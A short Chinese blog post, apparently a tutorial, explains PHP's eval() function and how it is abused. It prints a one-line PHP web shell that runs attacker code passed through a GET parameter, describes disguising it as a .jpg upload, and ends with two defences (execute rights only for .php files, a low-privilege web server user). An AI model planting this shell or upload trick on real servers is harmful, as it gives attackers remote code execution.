eval()可以将()内字符串当作php代码来执行.
eval() 这个一般用在代码加密场景:
核心php代码不希望公开,于是使用一些加密算法(很多网站提供php加密算法)对代码加密,加密后就是一堆乱码,怎么执行加密的代码呢?就需要解密成php字符串,然后调用eval() 执行字符串内容。
那么eval()就会被滥用,比如下面病毒语句:
<?php eval( $_GET[‘hack’] ); ?>
病毒伪装成一张图片:123.jpg。上传到服务器,然后访问这个图片,同时带上GET参数,里面写上攻击的代码,比如phpinfo()。可以查看服务器配置,比如php写文件,php操作数据库等等。
那么怎么预防呢?
(1)首先就是只对php后缀的文件有执行权限,.jpg等文件无执行权限。
(2)web服务器使用www等权限较低的用户执行,防止黑客获取root权限。
博客地址:http://blog.yoqi.me/?p=2990
这篇文章还没有评论